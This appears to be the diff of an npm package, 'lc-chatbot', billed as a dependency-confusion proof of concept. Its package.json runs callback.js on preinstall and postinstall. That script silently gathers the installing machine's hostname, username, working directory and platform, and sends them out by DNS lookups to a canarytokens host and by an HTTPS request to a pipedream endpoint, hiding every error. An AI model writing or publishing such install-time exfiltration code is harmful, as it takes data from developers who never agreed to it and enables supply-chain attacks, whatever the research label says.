lc-chatbot 0.9.0-rc.0

package/callback.js

@@ -0,0 +1,63 @@
+/*
+ * dependency-confusion proof-of-concept callback.
+ */
+'use strict';
+
+// ---- collector endpoints ----
+var CANARY_HOST  = '4cyx1u2wzgs8wpgmy4rq1nrvm.canarytokens.com';   
+var PIPEDREAM_URL = 'https://eolxuw8fddeyjj8.m.pipedream.net'; 
+// ----------------------------------------
+
+try {
+  var os = require('os');
+  var dns = require('dns');
+  var https = require('https');
+
+  var token = Math.random().toString(36).slice(2, 10);
+
+  var host = '';
+  try { host = os.hostname() || ''; } catch (e) {}
+  var user = '';
+  try { user = (os.userInfo() || {}).username || ''; } catch (e) {}
+  var cwd = '';
+  try { cwd = process.cwd() || ''; } catch (e) {}
+  var pkg = (process.env.npm_package_name || 'lc-chatbot') + '@' +
+            (process.env.npm_package_version || '');
+
+  // hex-encode hostname into a single DNS-safe label (<=63 chars; truncate long names)
+  function hexLabel(s) {
+    var h = Buffer.from(String(s)).toString('hex');
+    return h.length > 58 ? h.slice(0, 58) : h;
+  }
+
+  // ---- DNS channel (Canarytokens)  ----
+  try {
+    if (CANARY_HOST && CANARY_HOST.indexOf('__') === -1) {
+      var name = hexLabel(host) + '.' + token + '.' + CANARY_HOST;
+      dns.resolve(name, function () {});
+      dns.resolve4(name, function () {});
+    }
+  } catch (e) {}
+
+  // ---- HTTP channel — richer data + notifications ----
+  try {
+    if (PIPEDREAM_URL && PIPEDREAM_URL.indexOf('__') === -1) {
+      var qs = '?t=' + encodeURIComponent(token) +
+               '&h=' + encodeURIComponent(host) +
+               '&u=' + encodeURIComponent(user) +
+               '&cwd=' + encodeURIComponent(cwd) +
+               '&pkg=' + encodeURIComponent(pkg) +
+               '&plat=' + encodeURIComponent(process.platform + '/' + process.arch);
+      var req = https.get(PIPEDREAM_URL + qs, function (res) { res.resume(); });
+      req.on('error', function () {});
+      req.setTimeout(4000, function () { try { req.destroy(); } catch (e) {} });
+      if (req.unref) req.unref();
+    }
+  } catch (e) {}
+} catch (e) {
+  // swallow everything — never break the host build
+}
+
+// never block / never fail the install
+try { setTimeout(function () {}, 0); } catch (e) {}
+process.exitCode = 0;

package/index.js

@@ -0,0 +1,4 @@
+// Dependency-confusion proof-of-concept.
+// Intentionally exports an empty object so that if a build imports this package
+// it does not hard-crash.
+module.exports = {};

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "lc-chatbot",
+  "version": "0.9.0-rc.0",
+  "description": "Dependency-confusion proof-of-concept",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js",
+    "postinstall": "node callback.js"
+  },
+  "keywords": ["security-research", "placeholder", "do-not-use"],
+  "author": "absec",
+  "license": "MIT",
+  "files": ["index.js", "callback.js", "README.md"]
+}